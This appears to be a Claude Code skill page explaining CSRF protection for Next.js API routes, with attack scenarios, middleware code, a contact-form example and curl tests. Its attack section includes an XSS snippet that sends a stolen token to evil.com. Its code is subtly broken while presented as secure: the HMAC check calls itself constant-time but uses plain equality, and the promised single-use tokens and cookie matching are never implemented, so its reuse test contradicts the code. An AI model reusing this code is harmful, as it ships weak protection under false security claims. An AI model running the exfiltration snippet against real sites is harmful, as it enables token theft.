Claude Code Plugins

Community-maintained marketplace

Feedback

Implement Cross-Site Request Forgery (CSRF) protection for API routes. Use this skill when you need to protect POST/PUT/DELETE endpoints, implement token validation, prevent cross-site attacks, or secure form submissions. Triggers include "CSRF", "cross-site request forgery", "protect form", "token validation", "withCsrf", "CSRF token", "session fixation".

Install Skill

1Download skill
2Enable skills in Claude

Open claude.ai/settings/capabilities and find the "Skills" section

3Upload to Claude

Click "Upload skill" and select the downloaded ZIP file

Note: Please verify skill by going through its instructions before using it.

SKILL.md

name csrf-protection
description Implement Cross-Site Request Forgery (CSRF) protection for API routes. Use this skill when you need to protect POST/PUT/DELETE endpoints, implement token validation, prevent cross-site attacks, or secure form submissions. Triggers include "CSRF", "cross-site request forgery", "protect form", "token validation", "withCsrf", "CSRF token", "session fixation".

CSRF Protection - Preventing Cross-Site Request Forgery

What CSRF Attacks Are

The Attack Scenario

Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.

This is Cross-Site Request Forgery—tricking your browser into making requests you didn't intend.

Real-World CSRF Attacks

Router DNS Hijacking (2008): A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.

YouTube Actions (2012): YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.

Why CSRF Is Still Common

According to OWASP, CSRF vulnerabilities appear in 35% of web applications tested. Why?

  • It's invisible when it works (users don't know they made a request)
  • Easy to forget to implement (no obvious broken functionality)
  • Developers often rely solely on authentication without checking request origin

Our CSRF Architecture

Implementation Features

  1. HMAC-SHA256 Cryptographic Signing (industry standard)

    • Provides cryptographic proof token was generated by our server
    • Even if intercepted, attackers can't forge tokens without secret key
  2. Session-Bound Tokens

    • Tokens can't be used across different user sessions
    • Each user gets unique tokens
  3. Single-Use Tokens

    • Token cleared after validation
    • Window of opportunity is seconds, not hours
    • If captured, useless after one request
  4. HTTP-Only Cookies

    • JavaScript cannot access tokens
    • Prevents XSS-based token theft
  5. SameSite=Strict

    • Browser won't send cookie on cross-origin requests
    • Additional layer of protection

Implementation Files

  • lib/csrf.ts - Cryptographic token generation
  • lib/withCsrf.ts - Middleware enforcing verification
  • app/api/csrf/route.ts - Token endpoint for clients

How to Use CSRF Protection

Step 1: Wrap Your Handler

For any POST/PUT/DELETE endpoint:

import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};

Step 2: Client-Side Token Fetching

Before making a protected request, fetch the CSRF token:

// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});

Step 3: What Happens Automatically

When withCsrf() wraps your handler:

  1. Extracts CSRF token from X-CSRF-Token header
  2. Extracts CSRF cookie from request
  3. Verifies token matches cookie using HMAC
  4. Clears token after validation (single-use)
  5. If valid → calls your handler
  6. If invalid → returns HTTP 403 Forbidden

Complete Example: Protected Contact Form

// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: 'admin@example.com',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};

Frontend Integration Example

// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="Name"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="Email"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="Subject"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="Message"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">Send Message</button>
    </form>
  );
}

Attack Scenarios & Protection

Attack 1: Malicious Website Submits Form

Attack:

<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // Auto-submit
</script>

Protection:

  • No CSRF token in request → withCsrf() returns 403
  • User's account safe

Attack 2: XSS Attempts to Read Token

Attack:

// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });

Protection:

  • Token is single-use
  • Even if stolen, expires after one request
  • HTTPOnly cookies prevent cookie theft
  • SameSite=Strict prevents cross-origin cookie sending

Attack 3: Man-in-the-Middle Captures Token

Attack: Attacker intercepts network traffic and captures CSRF token.

Protection:

  • Single-use tokens become invalid after one use
  • HTTPS required in production (enforced by HSTS)
  • Short window of opportunity (seconds)

Technical Implementation Details

Token Generation (lib/csrf.ts)

import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // Generate random token
  const token = randomBytes(32).toString('base64url');

  // Create HMAC signature
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // Return token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // Recreate HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // Constant-time comparison to prevent timing attacks
  return hmacPart === expectedHmac;
}

Middleware Wrapper (lib/withCsrf.ts)

import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise<NextResponse>
) {
  return async (request: NextRequest) => {
    // Get token from header
    const token = request.headers.get('X-CSRF-Token');

    // Get session ID from cookie (simplified)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // Verify token
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // Token valid - call handler
    return handler(request);
  };
}

What CSRF Protection Prevents

Cross-site request forgery - Main protection ✅ Session fixation attacks - Tokens bound to sessions ✅ Cross-origin form submissions - SameSite=Strict ✅ Hidden iframe attacks - Token validation required ✅ One-click attacks - Token fetching step prevents

Common Mistakes to Avoid

DON'T skip CSRF for POST/PUT/DELETE

// BAD - No CSRF protection
export async function POST(request: NextRequest) {
  // Vulnerable!
}

DON'T put CSRF tokens in URL parameters

// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)

DON'T reuse tokens

// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid

DON'T forget credentials: 'include'

// BAD - Cookies won't be sent
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // Missing: credentials: 'include'
});

DO fetch fresh token for each sensitive operationDO use X-CSRF-Token header (not URL)DO apply to all state-changing operationsDO combine with rate limiting for maximum protection

Testing CSRF Protection

Test 1: Valid Request

# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use token
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Expected: 200 OK

Test 2: Missing Token

curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token missing

Test 3: Invalid Token

curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token invalid

Test 4: Token Reuse (Should Fail)

# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test2"}'

# Expected: 403 Forbidden - Token already used

Secure Cookie Configuration

Cookie Security Settings

For any custom cookies in your application, always use these secure settings:

response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // Prevent XSS access
  sameSite: 'strict',                                // CSRF protection
  secure: process.env.NODE_ENV === 'production',    // HTTPS only in prod
  maxAge: 3600,                                      // Expiration (1 hour)
  path: '/',                                         // Cookie scope
});

Security Properties Explained:

  • httpOnly: true - JavaScript cannot access the cookie via document.cookie, preventing XSS theft
  • sameSite: 'strict' - Browser won't send cookie on cross-origin requests, blocking CSRF
  • secure: true - Cookie only sent over HTTPS (prevents man-in-the-middle interception)
  • maxAge - Cookie expiration time in seconds (shorter = more secure)
  • path: '/' - Where cookie is valid (restrict if possible)

Common Cookie Mistakes to Avoid

NEVER do this:

// BAD - Missing security flags
response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });

ALWAYS do this:

// GOOD - All security flags
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1 hour
  path: '/'
});

Environment Configuration

Required Environment Variables

# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>

Generate Secrets

# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

⚠️ IMPORTANT:

  • Never commit secrets to version control
  • Use different secrets for dev/staging/production
  • Rotate secrets periodically (quarterly recommended)

References

Next Steps

  • For rate limiting protection: Use rate-limiting skill
  • For input validation: Use input-validation skill
  • For complete API security: Combine CSRF + rate limiting + validation
  • For testing: Use security-testing skill